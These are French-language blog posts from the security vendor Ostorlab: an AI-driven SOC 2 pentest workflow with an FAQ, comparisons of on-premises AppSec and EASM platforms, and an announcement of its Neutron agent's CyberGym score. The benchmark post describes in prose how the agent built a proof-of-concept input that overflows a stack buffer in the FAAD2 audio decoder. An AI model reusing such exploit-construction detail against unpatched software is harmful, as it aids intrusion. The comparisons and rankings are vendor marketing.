Mis à jour le 1er octobre 2026 : les mentions de délai de livraison et de validation humaine de cet article ont été corrigées pour correspondre à la page actuelle des plans. Mis à jour le 5 octobre 2026 : suppression du badge de sécurité, qui n'est pas proposé.

Phase 1 : prise en charge du périmètre et identifiants de départ : Définissez les frontières des données clients documentées dans la description de votre système SOC 2. Importez les URL web, les schémas d'API et les binaires mobiles, en fournissant deux identifiants utilisateur distincts pour tester les contrôles d'autorisation multi-tenant.
Phase 2 : Agentic Deep Scan autonome : Des agents autonomes cartographient l'état de l'application, découvrent des endpoints non indexés et exécutent des chaînes d'exploitation à travers les workflows d'authentification, d'autorisation et de logique.
Phase 3 : remédiation ciblée par les développeurs : Les développeurs examinent les vulnérabilités critiques et élevées priorisées. Comme chaque vulnérabilité est livrée avec des preuves de reproduction propres à l'actif (traces HTTP et commandes curl pour le web et les API, déclencheurs IPC et journaux d'exécution pour les applications mobiles, chemins d'exécution vérifiés pour les vulnérabilités au niveau du code), les ingénieurs corrigent la cause racine sans ambiguïté de triage.
Phase 4 : nouveau test en 1 clic et export de la LoA : L'équipe d'ingénierie déclenche des Risk Reruns sur les vecteurs corrigés pendant la fenêtre de nouveau test incluse. Les fermetures vérifiées sont enregistrées, et la lettre d'attestation et le dossier d'audit sont livrés pour débloquer les achats.

Questions fréquentes sur le pentest SOC 2

Un auditeur SOC 2 acceptera-t-il un rapport de test d'intrusion piloté par l'IA ?

Oui. Les Trust Services Criteria de l'AICPA (TSP Section 100) précisent la rigueur des tests et les standards de preuve, et non l'identité biologique du testeur. Les grands cabinets d'audit CPA acceptent les tests d'intrusion agentiques à condition que l'évaluation suive des méthodologies établies (comme NIST SP 800-115 et OWASP WSTG), inclue une preuve déterministe d'exploitation, définisse un périmètre de test et comprenne une lettre d'attestation indépendante, relue par un humain, qui confirme la remédiation.

En quoi un pentest agentique à la demande diffère-t-il d'un scan de vulnérabilités automatisé ?

Les scanners de vulnérabilités automatisés reposent sur la correspondance statique de motifs, des vérifications de payloads isolées et l'inspection des bannières de version, et produisent des taux élevés de faux positifs sans confirmer l'exploitabilité. Un test d'intrusion agentique interagit activement avec les workflows de l'application, génère des exploits dynamiques, enchaîne plusieurs faiblesses, valide les frontières d'autorisation entre des comptes distincts et fournit des preuves de concept vérifiées.

Les achats d'un grand compte exigent-ils un rapport technique complet ou seulement une lettre d'attestation ?

Les acheteurs des grands comptes exigent en général une lettre d'attestation (LoA) signée et un rapport de synthèse expurgé, sous accord de non-divulgation. Partager des rapports techniques bruts de vulnérabilités expose des endpoints d'application sensibles et des instructions d'exploitation, dont les équipes de risque des grands comptes n'ont pas besoin. La lettre d'attestation confirme l'indépendance du tiers, l'exhaustivité du périmètre et l'absence de vulnérabilités élevées ou critiques non atténuées.

Comment la tarification d'Ostorlab se compare-t-elle au test d'intrusion traditionnel ?

Les cabinets de test d'intrusion traditionnels facturent entre 15 000 et 40 000 $ des évaluations ponctuelles avec des semaines de délai. Ostorlab propose une tarification transparente par paliers, avec des packages Core AI Pentest à partir de 499 $ à la demande (évoluant de façon transparente avec le périmètre et la complexité de l'application), avec prise en charge multi-actifs et une fenêtre de nouveau test. La validation humaine dépend du plan ; consultez la comparaison des plans.

Le test d'intrusion agentique peut-il couvrir les périodes d'observation SOC 2 Type 2 ?

Oui. Les audits SOC 2 Type 2 exigent la preuve de l'efficacité continue des contrôles sur une fenêtre de trois à douze mois. Les pentests annuels traditionnels laissent des mois de modifications de code sans preuve. Les tests agentiques à la demande permettent aux équipes de sécurité d'exécuter des évaluations récurrentes à chaque version majeure, et d'établir une piste de preuves ininterrompue sur toute la fenêtre d'audit.

Normes et références principales

American Institute of Certified Public Accountants (AICPA). Trust Services Criteria for Security, Availability, Processing Integrity, Confidentiality, and Privacy (TSP Section 100).
National Institute of Standards and Technology (NIST). Technical Guide to Information Security Testing and Assessment (NIST SP 800-115).
Open Web Application Security Project (OWASP). Web Security Testing Guide (WSTG v4.2).
Open Web Application Security Project (OWASP). API Security Top 10.
Shared Assessments. Standardized Information Gathering (SIG Lite) Questionnaire.
Cloud Security Alliance (CSA). Consensus Assessments Initiative Questionnaire (CAIQ v4).

Les meilleures plateformes de test de sécurité applicative on-premises (2026)

2026-09-15T10:00:00+02:00

Les meilleures plateformes de test de sécurité applicative on-premises en 2026 sont Ostorlab, Invicti Enterprise On-Premises, PortSwigger Burp Suite DAST, HCL AppScan et OpenText Fortify. Ces solutions sécurisent les applications web privées, les API, le code source et les actifs mobiles situés derrière les pare-feu de l'entreprise, soit avec des moteurs de scan déployés localement et une orchestration dans le cloud, soit avec une infrastructure entièrement auto-hébergée et gérée par le client.

Mention éditoriale

Cette comparaison est publiée par Ostorlab et s'appuie sur la documentation officielle publiquement disponible. Elle ne constitue pas un benchmark indépendant de la couverture des vulnérabilités, de la vitesse de scan, des taux de faux positifs ou du coût de déploiement. Les capacités des produits, leur architecture, leurs licences et leurs flux de données doivent être vérifiés directement auprès de chaque éditeur.

Comparatif des plateformes de test de sécurité applicative on-premises

Plateforme	Modèle de déploiement	Périmètre de test documenté	Distinction importante
Ostorlab	Scanner local avec gestion dans le cloud	Couverture multi-actifs : applications web, API, réseaux, applications mobiles, code source et évaluations agentiques	Les cibles privées sont testées par un scanner on-premises, tandis que l'orchestration et les rapports restent gérés dans le cloud.
Invicti Enterprise On-Premises	Plateforme DAST d'entreprise hébergée par le client	Applications web et API	L'application, les composants de scan et l'infrastructure de gestion sont déployés dans l'environnement du client.
Burp Suite DAST	DAST d'entreprise auto-hébergé	Applications web et API	Les organisations gèrent le déploiement DAST et l'infrastructure de scan dans leur propre environnement.
HCL AppScan	Options de déploiement auto-géré et en site privé	DAST, SAST, SCA et workflows AppSec associés selon le produit	Les capacités de déploiement et de test diffèrent entre AppScan Standard, Enterprise et AppScan on Cloud.
OpenText Fortify	Options AppSec d'entreprise gérées par le client et hybrides	SAST, DAST, SCA et gouvernance de la sécurité logicielle	Les capacités sont réparties entre plusieurs produits Fortify plutôt que réunies dans une plateforme uniforme.

La question centrale à l'achat n'est pas simplement de savoir si un éditeur emploie le terme « on-premises ». Il s'agit de savoir quels composants s'exécutent localement, quelles informations quittent l'environnement et si l'architecture obtenue répond aux exigences de sécurité et de conformité de l'organisation.

Qu'est-ce que le test de sécurité applicative on-premises ?

Le test de sécurité applicative on-premises évalue les applications à partir d'une infrastructure déployée dans le réseau d'une organisation ou dans un autre environnement contrôlé par le client.

Les organisations l'utilisent couramment pour tester :

des applications web internes
des API privées
des environnements de développement et de préproduction
des applications accessibles uniquement via des réseaux privés
des dépôts de code source
des paquets d'applications mobiles
des services réseau
des systèmes soumis à des exigences réglementaires ou de résidence des données

Cependant, « on-premises » peut désigner plusieurs architectures très différentes.

Modèle de déploiement	Ce qui s'exécute localement	Ce qui peut rester externe
Scanner on-premises	Le moteur de scan qui communique avec les cibles privées	La gestion, la planification, les résultats ou les rapports
Plateforme hybride	Certains scanners, connecteurs ou composants de traitement	La plateforme centrale et l'orchestration
Plateforme auto-hébergée	Le scan, la gestion, le stockage des données et les rapports	Les services de licence ou de mise à jour peuvent encore exiger une connexion
Déploiement air-gapped	La plateforme complète et les services associés	Aucune dépendance opérationnelle envers un service externe

Ces modèles ne doivent pas être considérés comme interchangeables. Un scanner déployé localement peut atteindre des actifs privés, mais cela ne signifie pas automatiquement que toutes les données applicatives, tous les résultats et toutes les fonctions de la plateforme restent dans l'environnement.

Ce que les organisations doivent évaluer

Périmètres de déploiement

Les acheteurs doivent identifier chaque composant impliqué dans l'évaluation :

Moteurs de scan
Consoles de gestion
Bases de données
Files de messages
Automatisation du navigateur
Infrastructure d'analyse dynamique
Traitement du code source
Systèmes de reporting
Services de mise à jour
Points d'accès IA ou de modèles

L'éditeur doit expliquer où s'exécute chaque composant et comment les informations circulent entre eux.

Traitement et stockage des données

Les organisations doivent vérifier où les données suivantes sont traitées et conservées :

Code source
Binaires des applications
Identifiants d'authentification
Cookies de session et jetons
Requêtes et réponses HTTP
Spécifications d'API
Preuves des vulnérabilités
Journaux de scan
Résultats et rapports
Données d'interaction avec l'IA et les agents

Une plateforme peut scanner localement tout en transmettant des résultats ou des métadonnées à un plan de contrôle externe. Le caractère acceptable de cette situation dépend du modèle de menace et des obligations de conformité de l'organisation.

Accès aux cibles privées

La plateforme doit pouvoir atteindre les applications internes sans qu'il soit nécessaire de les exposer publiquement.

Une preuve de valeur doit tester le DNS privé, les autorités de certification internes, les applications authentifiées, les réseaux segmentés, les proxys et les autres contrôles présents dans l'environnement de production.

Couverture des tests

La flexibilité de déploiement ne garantit pas la qualité des tests. Les acheteurs doivent évaluer séparément si le produit proposé prend en charge la combinaison requise de :

Dynamic Application Security Testing
Static Application Security Testing
Software Composition Analysis
Tests de sécurité des API
Tests d'applications mobiles
Scan de sécurité réseau
Évaluation authentifiée
Investigation agentique ou en plusieurs étapes (prompt ciblé et détaillé)

Une plateforme peut offrir un DAST on-premises solide tout en exigeant des produits distincts pour tester le code source ou les dépendances.

Exploitation et maintenance

L'auto-hébergement transfère les responsabilités opérationnelles au client. Elles peuvent inclure :

Dimensionnement de l'infrastructure
Haute disponibilité
Administration des bases de données
Mises à niveau de la plateforme
Mises à jour des scanners
Sauvegardes
Gestion des certificats
Supervision
Reprise après sinistre

Une architecture hybride allège une partie de cette charge, mais introduit une dépendance envers une plateforme externe.

Que révèle cette comparaison ?

« On-premises » n'a pas de signification unique

La principale source de confusion est l'expression elle-même. Un scanner local, un service hybride et une plateforme entièrement auto-hébergée répondent à des besoins différents, même si les éditeurs peuvent présenter les trois comme des capacités on-premises.

Les schémas d'architecture et les flux de données documentés sont plus utiles que la seule étiquette de déploiement.

L'accès privé et la souveraineté des données sont deux exigences distinctes

Un scanner peut tester une application interne alors que la plateforme stocke tout de même les résultats à l'extérieur. À l'inverse, une plateforme entièrement auto-hébergée peut garder les données d'évaluation en local, mais nécessite beaucoup plus d'infrastructure et de maintenance.

Les acheteurs doivent évaluer séparément l'accès aux cibles et la maîtrise des données.

L'étendue des tests varie selon la gamme de produits

Certaines plateformes se concentrent sur le DAST d'entreprise. D'autres combinent des tests statiques, dynamiques, de dépendances, mobiles, réseau ou agentiques au moyen de plusieurs produits ou profils de scan.

La comparaison doit donc porter sur les composants exacts inclus dans le déploiement proposé, plutôt que de supposer que chaque capacité annoncée par l'éditeur est disponible on-premises.

La prise en charge de l'air-gap doit être vérifiée explicitement

Une installation auto-hébergée n'est pas nécessairement air-gapped. Les licences, les mises à jour de signatures, la télémétrie, les callbacks externes, les fonctions d'IA ou les mises à niveau du produit peuvent exiger une connexion.

Les organisations soumises à des exigences d'isolation doivent tester ces dépendances avant de faire leur choix.

Évaluation des plateformes

Ostorlab

Orientation : scan hybride on-premises avec orchestration, reporting et couverture multi-actifs gérés dans le cloud, sur les évaluations web, API, mobiles, réseau et agentiques.

Ostorlab propose un On-Premises Scanner pour évaluer les actifs inaccessibles depuis l'internet public.

Le scanner est déployé dans l'environnement du client et initie une connexion sortante vers la plateforme Ostorlab. Il peut ainsi recevoir des tâches de scan et évaluer des applications web privées, des API, des actifs réseau et d'autres cibles prises en charge, sans ouvrir d'accès entrant vers elles.

L'architecture est hybride. Le scan est lancé depuis une infrastructure contrôlée par le client, tandis que la configuration, l'orchestration, les résultats et les rapports sont gérés via la plateforme cloud d'Ostorlab. Les organisations doivent donc évaluer les informations échangées avec la plateforme et ne pas considérer ce déploiement comme entièrement auto-hébergé ou air-gapped.

La plateforme Ostorlab au sens large prend en charge les tests de sécurité web, API, réseau, mobile et du code source. Elle propose également des profils de scan agentiques conçus pour étudier le comportement des applications, valider les résultats et examiner les relations entre actifs connectés.

Cette approche réduit l'infrastructure nécessaire pour exploiter une plateforme AppSec locale complète, tout en étendant les tests aux environnements privés.

À vérifier : exigences de sortie réseau, données transmises, hébergement régional, profils de scan pris en charge par le scanner local, concurrence, haute disponibilité et fonctionnement en cas d'interruption de la connectivité.

Invicti Enterprise On-Premises

Orientation : plateforme DAST d'entreprise entièrement hébergée par le client, avec validation automatisée des vulnérabilités par la preuve sur les applications web et les API.

Invicti Enterprise On-Premises fournit une plateforme hébergée par le client pour le test de sécurité automatisé des applications web et des API.

Son architecture peut comprendre l'application web Invicti, la base de données, les agents de scan et les services associés, déployés dans une infrastructure contrôlée par le client. Les agents distribués permettent aux organisations de placer la capacité de scan à proximité des applications situées dans différents segments réseau.

Invicti met l'accent sur le DAST d'entreprise et la validation automatisée. Sa technologie Proof-Based Scanning confirme les vulnérabilités prises en charge en démontrant que leur exploitation est possible et en joignant la preuve au résultat.

Le modèle auto-hébergé offre aux organisations un meilleur contrôle de l'infrastructure et de l'emplacement des données, mais les oblige aussi à exploiter et à maintenir la plateforme.

À vérifier : exigences d'infrastructure, architecture de la base de données, méthodes d'authentification prises en charge, placement des agents, haute disponibilité, procédures de mise à jour, couverture des API et nécessité éventuelle de services externes.

Burp Suite DAST

Orientation : scan de vulnérabilités web et API d'entreprise auto-hébergé, reposant sur des moteurs Burp Scanner distribués et l'automatisation CI/CD.

Burp Suite DAST fournit un scan de sécurité web et API automatisé et centralisé, à l'aide de Burp Scanner.

PortSwigger documente des options de déploiement auto-hébergé pour les organisations qui doivent exploiter le DAST dans leur propre environnement. La plateforme prend en charge les scans planifiés, l'accès basé sur les rôles, l'intégration CI/CD, le suivi des problèmes, les API et une infrastructure de scan distribuée.

Burp Suite DAST doit être distingué de Burp Suite Professional. Le DAST est destiné aux tests automatisés, centralisés et reproductibles, tandis que Burp Suite Professional est une boîte à outils interactive utilisée par les professionnels de la sécurité pour des tests dirigés par l'analyste.

Le déploiement auto-hébergé offre le contrôle de l'environnement de la plateforme, mais les acheteurs doivent vérifier l'architecture exacte et les dépendances externes associées à l'édition proposée.

À vérifier : architecture auto-hébergée prise en charge, exigences Kubernetes le cas échéant, capacité des scanners, authentification, intégration des API, procédures de mise à niveau, dépendances envers des services externes et répartition entre le DAST automatisé et les workflows Burp manuels.

HCL AppScan

Orientation : suite de sécurité applicative multimodale offrant des tests auto-gérés et en site privé sur les workflows DAST, SAST et SCA.

HCL AppScan est une famille de produits de sécurité applicative couvrant les workflows de test dynamique, statique, de composition logicielle et autres.

Les capacités on-premises sont disponibles via des produits comme AppScan Enterprise et AppScan Standard, tandis qu'AppScan on Cloud repose sur un autre modèle de livraison et peut recourir au scan en site privé pour atteindre des applications inaccessibles depuis l'internet public.

AppScan étant une famille de produits, le déploiement et la couverture des tests dépendent des composants choisis. Les organisations doivent déterminer si elles ont besoin d'un DAST d'entreprise centralisé, de tests sur poste de travail, d'une analyse du code source, d'une analyse des dépendances ou d'une combinaison de ces fonctions.

Le portefeuille complet peut soutenir des programmes AppSec matures, mais son architecture et ses licences nécessitent une évaluation produit par produit.

À vérifier : produits et versions AppScan exacts, composants réellement auto-hébergés, exigences en matière de bases de données et de serveurs, architecture du scan en site privé, méthodes de test prises en charge, licences et responsabilités de mise à niveau.

OpenText Fortify

Orientation : large portefeuille AppSec d'entreprise prenant en charge l'analyse du code source (SAST) gérée par le client, les tests dynamiques (WebInspect) et la gouvernance centralisée de la sécurité.

OpenText Fortify propose des tests de sécurité applicative d'entreprise portant sur le code source, les applications déployées et les dépendances logicielles.

Son portefeuille comprend Fortify Static Code Analyzer, WebInspect, Software Security Center et des capacités d'analyse de la composition logicielle. Ces produits peuvent soutenir des workflows AppSec gérés par le client, notamment l'analyse statique, les tests dynamiques, la gouvernance centralisée et l'intégration aux pipelines de développement.

La force de Fortify tient à l'étendue de sa gamme de produits, mais cette étendue implique aussi que les acheteurs doivent identifier les produits nécessaires pour construire l'architecture on-premises souhaitée.

Un déploiement Fortify doit être évalué comme un ensemble de composants connectés plutôt que comme un scanner unique.

À vérifier : produits Fortify requis, topologie de déploiement, licences, exigences en matière de bases de données et d'infrastructure, traitement du code source, placement des moteurs de scan, interopérabilité des produits, procédures de mise à jour et éventuelles dépendances envers le cloud.

Comment mener une preuve de valeur crédible

Domaine d'évaluation	Procédure de vérification
Accès privé	Scannez une application accessible uniquement via le DNS interne et confirmez qu'aucune exposition publique n'est nécessaire.
Flux de données	Enregistrez chaque connexion sortante et identifiez les données applicatives, les preuves et les métadonnées qui quittent l'environnement.
Authentification	Testez des workflows représentatifs de SSO, de renouvellement de session, de certificats et de rôles.
Couverture des tests	Exécutez les évaluations DAST, SAST, SCA, API, mobiles ou réseau requises avec le déploiement proposé.
Isolation	Interrompez la connectivité externe et documentez les fonctions qui continuent, échouent ou sont mises en file d'attente pour une exécution ultérieure.
Passage à l'échelle	Testez des scans simultanés et mesurez l'infrastructure nécessaire pour le portefeuille d'applications prévu.
Maintenance	Effectuez une mise à jour ou simulez-la, y compris le retour arrière et la synchronisation des scanners.
Preuves	Confirmez que les résultats contiennent des requêtes et réponses reproductibles, des emplacements dans le code ou d'autres preuves techniques.
Validation des correctifs	Corrigez certaines vulnérabilités et vérifiez que la plateforme retest le comportement concerné.

La preuve de valeur doit répondre aux questions suivantes :

Quels composants s'exécutent dans l'organisation ?
Quelles données quittent l'environnement ?
La plateforme peut-elle tester chaque actif privé requis ?
Qu'est-ce qui cesse de fonctionner sans connectivité externe ?
Qui est responsable de la maintenance de chaque composant ?
Les développeurs peuvent-ils reproduire et vérifier les résultats signalés ?

Foire aux questions

Quelles sont les principales plateformes de test de sécurité applicative on-premises ?

Les plateformes évaluées dans cette comparaison sont Ostorlab, Invicti Enterprise On-Premises, Burp Suite DAST, HCL AppScan et OpenText Fortify. Elles diffèrent par leur architecture de déploiement, leur périmètre de test, leur traitement des données, leurs exigences d'infrastructure et leur prise en charge des environnements déconnectés.

Qu'est-ce que le test de sécurité applicative on-premises ?

Le test de sécurité applicative on-premises utilise des composants de scan ou de gestion déployés dans une infrastructure contrôlée par le client pour évaluer des applications privées, des API, du code source, des binaires ou des services réseau.

Un scanner on-premises est-il identique à une plateforme auto-hébergée ?

Non. Un scanner on-premises exécute les tests depuis l'environnement du client, tandis que l'orchestration et les rapports peuvent rester dans le cloud. Une plateforme auto-hébergée place la couche de gestion, le stockage des données, les rapports et l'infrastructure de scan sous le contrôle du client.

Le test de sécurité on-premises peut-il fonctionner sans accès à internet ?

Seules les plateformes explicitement conçues pour un fonctionnement déconnecté ou air-gapped peuvent être supposées fonctionner sans accès à internet. Les produits auto-hébergés peuvent toujours exiger une connexion pour les licences, les mises à jour, la télémétrie, les callbacks externes ou les services d'IA.

Pourquoi les organisations déploient-elles le test de sécurité applicative on-premises ?

Les raisons courantes sont l'accès aux applications privées, les exigences de résidence des données, la protection du code source et des identifiants, la segmentation du réseau, les obligations réglementaires et la nécessité de maîtriser l'infrastructure d'évaluation.

Que doivent demander les acheteurs à un éditeur AppSec on-premises ?

Les acheteurs doivent demander quels composants s'exécutent localement, quelles données quittent l'environnement, quelles fonctions exigent une connexion à internet, qui gère les mises à jour, quelles méthodes de test sont prises en charge localement et si l'architecture proposée peut répondre aux exigences d'isolation et de disponibilité.

Considérations sur le déploiement d'Ostorlab

Ostorlab étend sa plateforme de sécurité applicative aux environnements privés grâce à un scanner on-premises.

Le scanner permet aux organisations d'évaluer des applications web privées, des API, des réseaux et d'autres actifs pris en charge sans exposer ces cibles publiquement. Il relie ces évaluations aux workflows plus larges d'Ostorlab : scan, résultats, remédiation et surveillance.

Le point d'architecture déterminant est tout aussi important : la capacité on-premises d'Ostorlab est un déploiement hybride, et non une plateforme entièrement auto-hébergée ou air-gapped.

Les organisations devraient l'envisager lorsqu'elles ont besoin d'un accès local à des cibles privées tout en conservant une gestion centralisée dans le cloud. Celles qui exigent que toute l'orchestration, le stockage, le reporting et l'infrastructure de test restent dans un environnement isolé doivent vérifier avant leur choix que cette exigence peut être satisfaite.

La décision doit finalement répondre à une seule question :

Le déploiement proposé garde-t-il les bons composants et les bonnes données dans l'environnement tout en offrant la couverture de test dont l'organisation a besoin ?

Ostorlab Neutron atteint 96,7 % sur le benchmark CyberGym

2026-09-14T17:42:00+02:00

Ostorlab Neutron a atteint un taux de résolution d'exploits vérifiés de 96,75 % sur CyberGym, en produisant des preuves différentielles fonctionnelles pour 1 458 des 1 507 tâches du benchmark.

Une description de vulnérabilité n'est qu'un point de départ.

Sur CyberGym, un agent IA de sécurité ne réussit pas en identifiant du code suspect ni en produisant une explication convaincante. Il doit générer une preuve de concept fonctionnelle qui reproduit la vulnérabilité visée.

Ostorlab Neutron y est parvenu sur 1 458 des 1 507 tâches, soit un taux de résolution d'exploits vérifiés de 96,75 %, arrondi à 96,7 %.

Le système a également détecté et localisé la vulnérabilité sous-jacente sur l'ensemble des 1 507 tâches du benchmark.

L'évaluation a utilisé DeepSeek V4 Flash et a eu un coût d'inférence moyen estimé de 1,0388 $ par tâche.

Ostorlab Neutron sur CyberGym	Résultat
Vulnérabilités détectées et localisées	1 507 / 1 507
PoC différentiels vérifiés	1 458 / 1 507
Taux de résolution d'exploits vérifiés	96,75 %
Modèle	DeepSeek V4 Flash
Coût d'inférence moyen estimé	1,0388 $ par tâche

CyberGym ne compte que les preuves fonctionnelles

CyberGym contient 1 507 vulnérabilités historiques issues d'ARVO et d'OSS-Fuzz, réparties sur 188 projets logiciels open source.

Pour chaque tâche, l'agent reçoit la description d'une vulnérabilité connue et le code source non corrigé correspondant. Il doit déterminer comment atteindre le comportement vulnérable et générer une entrée qui le déclenche.

La preuve est ensuite testée sur deux versions du logiciel.

Elle doit reproduire la vulnérabilité dans le build non corrigé sans la déclencher dans le build corrigé.

Une explication plausible ne passe pas. Une entrée qui fait planter les deux builds ne passe pas. La preuve doit isoler la vulnérabilité précise et démontrer la différence de comportement introduite par le correctif.

C'est le niveau d'exigence derrière le taux de résolution de 96,75 % de Neutron.

À quoi ressemblait une tâche réussie

Une tâche de l'évaluation visait FAAD2, un décodeur audio open source MPEG-4 et AAC.

Neutron est parti d'un code source sans information de version et d'une description de haut niveau de la vulnérabilité. Il ne disposait ni du diff du correctif ni de l'historique des commits montrant comment la vulnérabilité avait été corrigée.

Le harnais du benchmark n'acceptait pas un fichier audio ordinaire. Avant d'atteindre le décodeur vulnérable, Neutron a dû reconstituer la structure binaire personnalisée attendue par le harnais.

Il a identifié l'alignement mémoire requis par un objet de configuration C et construit le préambule exact de 29 octets nécessaire pour entrer dans le décodeur.

Neutron a ensuite remonté la vulnérabilité jusqu'à un Program Configuration Element malformé, capable de déclarer plus de canaux audio que le tampon de pile de taille fixe du décodeur ne pouvait en représenter.

Il a construit une entrée déclarant 93 canaux pour un tampon de 64 entrées, tout en satisfaisant les vérifications nécessaires à la poursuite du décodage.

La preuve de concept finale faisait 134 octets.

Sur le build vulnérable, l'entrée a déclenché un dépassement de tampon sur la pile confirmé par AddressSanitizer.
Sur le build corrigé, la même entrée s'est terminée proprement.

Même entrée. Le build vulnérable plante. Le build corrigé ne plante pas.

C'est l'une des 1 458 reproductions fonctionnelles derrière ce résultat.

Le modèle a fourni le raisonnement. Neutron a mené l'investigation à son terme.

DeepSeek V4 Flash a fourni la capacité de raisonnement sous-jacente utilisée pendant l'évaluation.

Réussir une tâche CyberGym exigeait pourtant plus que de générer une réponse. Neutron devait naviguer dans un code source inconnu, comprendre le format d'entrée de la cible, construire un payload valide, l'exécuter et vérifier que le résultat distinguait le build vulnérable du build corrigé.

Le score reflète donc le système Ostorlab Neutron complet utilisant DeepSeek V4 Flash, et non la réponse isolée d'un modèle.

L'architecture complète du système, la configuration expérimentale et la méthodologie d'exploitation sont détaillées dans l'évaluation technique CyberGym.

Le second résultat est 1,0388 $

Ostorlab Neutron a atteint son taux de résolution d'exploits vérifiés de 96,75 % pour un coût d'inférence moyen estimé de 1,0388 $ par tâche du benchmark.

Ce chiffre inclut les tâches pour lesquelles Neutron n'a pas produit de PoC différentiel accepté. Ce n'est pas un coût par exploit réussi.

Ce résultat compte parce que la validation d'une vulnérabilité est souvent l'étape coûteuse qui suit un premier résultat.

Un scanner peut identifier rapidement un problème possible. Établir si ce problème est atteignable, reproductible et neutralisé par un correctif peut encore nécessiter une investigation séparée.

Avec un coût d'inférence moyen estimé d'un peu plus d'un dollar par tâche, la validation exécutable devient praticable à une échelle bien plus large.

L'objectif n'est pas de générer davantage de résultats. C'est de produire des preuves plus solides pour les résultats sur lesquels les équipes d'ingénierie doivent agir.

Comparaison avec les entrées publiques (au 15 septembre 2026)

Au 15 septembre 2026, les entrées publiques de CyberGym affichées comprenaient :

Système	Score CyberGym
Ostorlab Neutron	96,75 %
Microsoft MDASH	91,0 %
Wiz Atlas	90,9 %
Mythos	83,1 %

D'après ces scores affichés, Ostorlab Neutron se situe :

5,7 points de pourcentage au-dessus de Microsoft MDASH
5,8 points de pourcentage au-dessus de Wiz Atlas
13,6 points de pourcentage au-dessus de Mythos

La comparaison porte sur ces entrées publiques et ces résultats d'évaluation précis. Les scores d'un benchmark doivent toujours être considérés au regard de la configuration du système, du modèle, de la couverture des tâches et des exigences de validation utilisés pour les obtenir.

Ce que le résultat établit

CyberGym mesure la reproduction de vulnérabilités connues.

L'agent sait quelle vulnérabilité historique reproduire et reçoit le code source non corrigé correspondant. Il ne mesure pas la découverte ouverte de vulnérabilités dans une base de code où l'agent n'a aucune indication de l'existence d'une vulnérabilité.

Dans cette tâche bien définie, le résultat est direct :

1 507 vulnérabilités sur 1 507 détectées et localisées
1 458 PoC différentiels vérifiés
96,75 % de taux de résolution d'exploits vérifiés
1,0388 $ de coût d'inférence moyen estimé par tâche
Un score supérieur aux entrées Microsoft MDASH, Wiz Atlas et Mythos affichées au 15 septembre 2026

CyberGym fixe un standard clair : la preuve doit s'exécuter.

Le score mérite l'attention à cause de ce qu'il y a derrière : des preuves fonctionnelles, exécutables et vérifiables de façon indépendante.

Un modèle peut suggérer la vulnérabilité. Neutron mène l'investigation jusqu'à la preuve.

Pour la méthodologie complète, l'architecture du système, la comptabilité des ressources et une décomposition de l'exploit au niveau de l'octet, lisez l'évaluation technique CyberGym.

Les 7 meilleurs outils d'External Attack Surface Management (2026)

2026-09-11T10:00:00+02:00

Les plateformes d'External Attack Surface Management évaluées dans cette comparaison 2026 sont Ostorlab, Microsoft Defender External Attack Surface Management, Palo Alto Networks Cortex Xpanse, CrowdStrike Falcon Exposure Management, CyCognito, Censys Attack Surface Management et Tenable One Attack Surface Management.

Ces plateformes découvrent et surveillent en continu les actifs exposés sur Internet, mais elles diffèrent par leur méthodologie d'attribution, la profondeur de la découverte, les tests de sécurité actifs, la validation de l'exposition, les workflows de remédiation, les intégrations avec l'écosystème et la mesure dans laquelle elles relient les actifs externes aux données applicatives et de vulnérabilités.

Parmi les documents publics examinés, Ostorlab se distingue en associant la découverte organisationnelle agentique de son produit Attack Surface à des scans de sécurité actifs et connectés, couvrant les applications web, les API, les applications mobiles et l'infrastructure réseau via la plateforme Ostorlab élargie. Cela crée un parcours cohérent, de la découverte d'un actif inconnu jusqu'au lancement de scans ciblés, à l'examen des preuves, à l'affectation de la remédiation et à la surveillance d'un éventuel retour de l'exposition.

Transparence éditoriale

Ce guide est publié par Ostorlab. La comparaison s'appuie sur la documentation officielle publiquement disponible et ne constitue pas un benchmark indépendant de la couverture de découverte, de la précision de détection, de la vitesse de scan ni des taux de faux positifs.

Comparatif des plateformes EASM en un coup d'œil

Plateforme	Orientation documentée	Ce que les acheteurs doivent vérifier
Ostorlab	Découverte agentique, attribution des actifs, surveillance continue, scans de sécurité actifs, priorisation guidée par les menaces et remédiation pour plusieurs types d'actifs.	Le périmètre de découverte, les profils de scan, les limites d'automatisation, les quotas d'actifs et les contrôles qui encadrent les tests actifs.
Microsoft Defender EASM	Découverte et cartographie de l'extérieur vers l'intérieur de l'infrastructure exposée sur Internet, classification des actifs, analyses de la surface d'attaque et intégration aux produits de sécurité Microsoft.	Les licences, les prérequis d'exploitation Azure, l'intégration avec Microsoft Security Exposure Management et la profondeur de la validation active.
Cortex Xpanse	Découverte à l'échelle d'Internet, attribution des actifs, identification des expositions, priorisation des risques et playbooks de réponse automatisés.	Quelles capacités de réponse nécessitent Active Response ou un autre module, et comment sont gérés les litiges d'attribution et les workflows de propriété.
CrowdStrike Falcon Exposure Management	Découverte des actifs externes combinée au renseignement sur les adversaires, à une priorisation assistée par IA, à la gestion des vulnérabilités et au contexte de la plateforme Falcon.	Quelles capacités EASM et d'exposition multidomaine sont incluses dans le package Falcon proposé, et si un déploiement sur les endpoints est nécessaire pour les fonctions connexes.
CyCognito	Découverte des actifs externes, cartographie du contexte métier, tests de sécurité continus, validation de l'exploitabilité et priorisation de la remédiation.	La méthodologie et les contrôles de sécurité utilisés pour la validation active, la couverture des tests sur les applications authentifiées et les prérequis d'intégration.
Censys Attack Surface Management	Cartographie à l'échelle d'Internet, découverte de services sur tous les ports, attribution des actifs, données historiques d'exposition et intégration avec les opérations de sécurité.	La distinction entre renseignement sur l'exposition et tests actifs de vulnérabilités, ainsi que les capacités de workflow et de remédiation du package proposé.
Tenable One Attack Surface Management	Découverte et contextualisation des actifs externes intégrées aux données de vulnérabilités et d'exposition de Tenable One.	Quelles fonctions nécessitent des produits Tenable distincts, comment les actifs non évalués sont acheminés vers les scans, et le modèle de licence combiné.

La question centrale de l'achat n'est pas de savoir quelle plateforme produit le plus grand nombre d'actifs. Il s'agit de savoir si la plateforme sait attribuer correctement les actifs, expliquer pourquoi chaque actif appartient à l'organisation, identifier les expositions significatives et aider l'équipe responsable à vérifier que le risque a été supprimé.

Qu'est-ce que l'External Attack Surface Management ?

L'External Attack Surface Management, ou EASM, consiste à découvrir, attribuer, évaluer et surveiller en continu les actifs accessibles depuis Internet d'une organisation, selon une perspective de l'extérieur vers l'intérieur.

La surface d'attaque externe peut comprendre :

Les domaines et sous-domaines
Les adresses IP publiques, les plages réseau et les ASN
Les applications web et les portails
Les API et les passerelles d'API
L'inventaire des applications mobiles
Les services hébergés dans le cloud
